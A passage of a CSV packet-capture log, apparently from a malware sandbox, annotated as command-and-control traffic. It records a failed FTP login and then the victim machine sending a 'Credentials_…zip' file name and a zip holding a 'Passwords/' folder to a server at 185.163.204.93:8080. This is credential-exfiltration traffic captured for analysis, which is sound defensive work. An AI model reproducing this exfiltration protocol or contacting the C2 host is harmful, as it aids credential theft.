\"\"id\"\": 61382, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42345, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324415244, \"\"ack\"\": 941849463, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 42426, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"530 Login authentication failed\\r\\n\"\"}}]\"\n2026-04-29 14:29:21.533084,28,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=941849463 Ack=1324415277,525400577f945254007bb79208004500002803534000800651fec0a87aa82e693bc5c38e001538237b774ef0f92d50100401a5990000,RT.W..RT.{....E..(.S@...Q...z..i;.....8#{wN..-P.......,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 851, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20990, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849463, \"\"ack\"\": 1324415277, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:22.033117,29,TCP 192.168.122.168:49892 -> 4.213.25.240:443,192.168.122.168,4.213.25.240,49892,443,TCP,Internal,Private Network,,,,,,India,Pune,8075,Microsoft Corporation,18.5211,73.8502,4.213.0.0/16,RA,,,Ether > IP > TCP,3,TCP RA Seq=3334411405 Ack=1369756557,525400577f945254007bb792080045000028b70e40008006e9abc0a87aa804d519f0c2e401bbc6bf148d51a4d38d501400005a300000,RT.W..RT.{....E..(..@.......z.............Q...P...Z0..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 46862, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 59819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"4.213.25.240\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 49892, \"\"dport\"\": 443, \"\"seq\"\": 3334411405, \"\"ack\"\": 1369756557, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"RA\"\", \"\"window\"\": 0, \"\"chksum\"\": 23088, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:29.755815,30,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=941849463 Ack=1324415277,525400577f945254007bb79208004500002803544000800651fdc0a87aa82e693bc5c38e001538237b774ef0f92d50110401a5990000,RT.W..RT.{....E..(.T@...Q...z..i;.....8#{wN..-P.......,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 852, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20989, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849463, \"\"ack\"\": 1324415277, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 1025, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:29.755913,31,TCP 46.105.59.197:21 -> 192.168.122.168:50062,46.105.59.197,192.168.122.168,21,50062,TCP,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=1324415277 Ack=941849464,5254007bb792525400577f94080045000028efc740004006a5892e693bc5c0a87aa80015c38e4ef0f92d38237b7850110053a5990000,RT.{..RT.W....E..(..@.@....i;...z.....N..-8#{xP..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61383, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42377, \"\"src\"\": \"\"46.105.59.197\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 21, \"\"dport\"\": 50062, \"\"seq\"\": 1324415277, \"\"ack\"\": 941849464, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:29.756012,32,TCP 192.168.122.168:50062 -> 46.105.59.197:21,192.168.122.168,46.105.59.197,50062,21,TCP,Internal,Private Network,,,,,,France,Unknown,16276,OVH SAS,48.8582,2.3387,46.105.58.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=941849464 Ack=1324415278,525400577f945254007bb79208004500002803554000800651fcc0a87aa82e693bc5c38e001538237b784ef0f92e50100401a5990000,RT.W..RT.{....E..(.U@...Q...z..i;.....8#{xN...P.......,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 853, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20988, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"46.105.59.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50062, \"\"dport\"\": 21, \"\"seq\"\": 941849464, \"\"ack\"\": 1324415278, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 42393, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.359526,33,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,S,,,Ether > IP > TCP,3,TCP S Seq=689988170 Ack=0,525400577f945254007bb792080045000034961540008006a35cc0a87aa8b9a3cc5dc3af1f902920624a000000008002ffffc1780000020405b40103030701010402,RT.W..RT.{....E..4..@....\\..z....]....) bJ.........x..............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 38421, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41820, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988170, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 7), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:29:43.359579,34,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=1770832333 Ack=689988171,5254007bb792525400577f940800450000340000400040067972b9a3cc5dc0a87aa81f90c3af698cc1cd2920624b8012a564c1780000020405b40101040201030309,RT.{..RT.W....E..4..@.@.yr...]..z.....i...) bK...d.x.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31090, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832333, \"\"ack\"\": 689988171, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:29:43.359713,35,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=689988171 Ack=1770832334,525400577f945254007bb792080045000028961640008006a367c0a87aa8b9a3cc5dc3af1f902920624b698cc1ce50108000c16c0000,RT.W..RT.{....E..(..@....g..z....]....) bKi...P....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38422, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41831, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988171, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.441289,36,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=689988171 Ack=1770832334,525400577f945254007bb79208004500002c961740008006a362c0a87aa8b9a3cc5dc3af1f902920624b698cc1ce50188000c1700000feffffff,....,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38423, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41826, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988171, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"feffffff\"\"}}]\"\n2026-04-29 14:29:43.441320,37,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1770832334 Ack=689988175,5254007bb792525400577f940800450000284777400040063207b9a3cc5dc0a87aa81f90c3af698cc1ce2920624f50100053c16c0000,RT.{..RT.W....E..(Gw@.@.2....]..z.....i...) bOP..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18295, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12807, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832334, \"\"ack\"\": 689988175, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.441456,38,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=689988175 Ack=1770832334,525400577f945254007bb79208004500002c961840008006a361c0a87aa8b9a3cc5dc3af1f902920624f698cc1ce50188000c17000002f000000,/\u0000\u0000\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38424, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41825, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988175, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"/\\u0000\\u0000\\u0000\"\"}}]\"\n2026-04-29 14:29:43.441469,39,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1770832334 Ack=689988179,5254007bb792525400577f940800450000284778400040063206b9a3cc5dc0a87aa81f90c3af698cc1ce2920625350100053c16c0000,RT.{..RT.W....E..(Gx@.@.2....]..z.....i...) bSP..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18296, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12806, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832334, \"\"ack\"\": 689988179, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.441592,40,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=689988179 Ack=1770832334,525400577f945254007bb792080045000057961940008006a335c0a87aa8b9a3cc5dc3af1f9029206253698cc1ce50188000c19b000043726564656e7469616c735f4445534b544f502d4a4c4355504b305f32303236303430395f3032343832362e7a6970,Credentials_DESKTOP-JLCUPK0_20260409_024826.zip,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 87, \"\"id\"\": 38425, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41781, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988179, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49563, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"Credentials_DESKTOP-JLCUPK0_20260409_024826.zip\"\"}}]\"\n2026-04-29 14:29:43.441600,41,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1770832334 Ack=689988226,5254007bb792525400577f940800450000284779400040063205b9a3cc5dc0a87aa81f90c3af698cc1ce2920628250100053c16c0000,RT.{..RT.W....E..(Gy@.@.2....]..z.....i...) b.P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18297, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12805, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832334, \"\"ack\"\": 689988226, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.441691,42,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=689988226 Ack=1770832334,525400577f945254007bb792080045000030961a40008006a35bc0a87aa8b9a3cc5dc3af1f9029206282698cc1ce50188000c17400007600000000000000,v\u0000\u0000\u0000\u0000\u0000\u0000\u0000,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 48, \"\"id\"\": 38426, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41819, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50095, \"\"dport\"\": 8080, \"\"seq\"\": 689988226, \"\"ack\"\": 1770832334, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49524, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"v\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\"\"}}]\"\n2026-04-29 14:29:43.441697,43,TCP 185.163.204.93:8080 -> 192.168.122.168:50095,185.163.204.93,192.168.122.168,8080,50095,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=1770832334 Ack=689988234,5254007bb792525400577f94080045000028477a400040063204b9a3cc5dc0a87aa81f90c3af698cc1ce2920628a50100053c16c0000,RT.{..RT.W....E..(Gz@.@.2....]..z.....i...) b.P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 18298, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12804, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50095, \"\"seq\"\": 1770832334, \"\"ack\"\": 689988234, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:29:43.441783,44,TCP 192.168.122.168:50095 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50095,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=689988234 Ack=1770832334,525400577f945254007bb79208004500009e961b40008006a2ecc0a87aa8b9a3cc5dc3af1f902920628a698cc1ce50188000c1e20000504b03041400000000000b16895c0000000000000000000000000a00000050617373776f7264732f504b010214001400000000000b16895c0000000000000000000000000a000000000000000000000000000000000050617373776f7264732f504b0506000000000100010038000000280000000000,\"PK...........\\............\n...Passwords/PK.............\\............\n.................Passwords/PK..........8...(.....\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 158, \"\"id\"\": 38427, 